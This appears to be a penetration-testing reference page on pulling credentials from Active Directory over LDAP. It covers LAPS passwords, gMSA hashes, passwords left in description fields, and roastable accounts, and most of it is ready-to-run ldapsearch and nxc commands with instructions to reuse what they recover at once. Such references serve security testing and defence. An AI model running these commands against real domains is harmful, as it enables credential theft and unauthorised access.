# LDAP Credential Extraction – LAPS gMSA and Hidden Passwords

> Exploits LDAP misconfigurations to extract LAPS passwords, gMSA credentials, and hidden attributes using tools like ldapsearch, BloodHound, and CrackMapExec.

- **URL:** https://hackindex.io/services/ldap/exploitation/credential-extraction
- **Path:** LDAP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ldap/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-07-10

With valid domain credentials and sufficient LDAP read access, several high-value credential stores are directly readable from Active Directory via LDAP queries. LAPS stores local administrator passwords in `ms-MCS-AdmPwd`. Group Managed Service Account passwords live in `msDS-ManagedPassword`. Administrators routinely leave plaintext passwords in `description`, `info`, and `comment` fields. None of these require elevated privileges to read if the ACLs are misconfigured, and they frequently are. Credential sources covered here:

- LAPS local admin passwords (`ms-MCS-AdmPwd`)
- gMSA service account password blobs (`msDS-ManagedPassword`)
- Plaintext passwords in description, info, and comment fields
- Kerberoastable and AS-REP Roastable account identification
- ACL-misconfigured sensitive attributes

## LAPS Password Extraction

LAPS (Local Administrator Password Solution) stores auto-rotated local admin passwords in the `ms-MCS-AdmPwd` attribute on each computer object. By default only specific groups can read it, but over-permissioned ACLs on computer OUs are common.

Check which computers have LAPS enabled and attempt to read the password:

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime dNSHostName
```

Any computer returning a value in `ms-MCS-AdmPwd` gives you the current local admin password for that host.

With nxc:

```bash
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --laps
```

Take any LAPS password returned and immediately test it for local admin access:

```bash
nxc smb $TARGET_IP -u Administrator -p $LAPS_PASSWORD --local-auth
```

## gMSA Password Extraction

Group Managed Service Accounts store their current password blob in `msDS-ManagedPassword`. Only accounts explicitly listed in `msDS-GroupMSAMembership` can read it, but that ACL is often misconfigured or you may already be operating as an account with read access.

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=msDS-GroupManagedServiceAccount)" msDS-ManagedPassword sAMAccountName
```

The `msDS-ManagedPassword` attribute returns a binary blob. Parse it with `gMSADumper` to extract the NT hash:

```bash
python3 gMSADumper.py -u $USER -p $PASSWORD -d $DOMAIN -l $TARGET_IP
```

The NT hash can be used directly for Pass-the-Hash: see [https://hackindex.io/services/smb/exploitation/pass-the-hash](https://hackindex.io/services/smb/exploitation/pass-the-hash).

## Password in Description and Info Fields

Administrators frequently store passwords in user and computer object description fields. This is readable by all authenticated domain users by default.

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=user)" sAMAccountName description | grep -A1 -i "description"
```

Broader sweep across all objects and attributes that might contain credentials:

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(description=*pass*)" sAMAccountName description
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(description=*pwd*)" sAMAccountName description
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(info=*)" sAMAccountName info
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(comment=*)" sAMAccountName comment
```

Any credential found here is valid domain account data: test it immediately across SMB, WinRM, and RDP.

## Kerberoastable and AS-REP Roastable Account Extraction

With valid credentials, pull accounts configured for attack directly:

Kerberoastable accounts (have SPNs set):

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
```

AS-REP roastable accounts (pre-auth disabled):

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
```

Feed these directly into Impacket: see [https://hackindex.io/services/kerberos/exploitation/kerberoasting](https://hackindex.io/services/kerberos/exploitation/kerberoasting) and [https://hackindex.io/services/kerberos/exploitation/asrep-roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting).

## ACL-Based Readable Sensitive Attributes

Some environments misconfigure ACLs to allow standard users to read attributes that should be restricted. Check for readable `unicodePwd`, `userPassword`, or `unixUserPassword` attributes: rare on AD but common on OpenLDAP mixed environments:

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=user)" userPassword unixUserPassword
```

On OpenLDAP, passwords may be returned in cleartext or as weak hashes (`{MD5}`, `{SHA}`, `{CRYPT}`). Extract and crack with hashcat.

## LDAP credential extraction with nxc

```bash
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --users
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --gmsa
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --laps
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --kerberoasting kerberoast.txt
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --asreproast asrep.txt
```

Related

## References

- [windapsearch](https://github.com/ropnop/windapsearch) - ropnop Targeted AD LDAP query tool with LAPS and gMSA modules.
- [gMSADumper](https://github.com/micahvandeusen/gMSADumper) - micahvandeusen Parses msDS-ManagedPassword blobs and outputs NT hashes for gMSA accounts.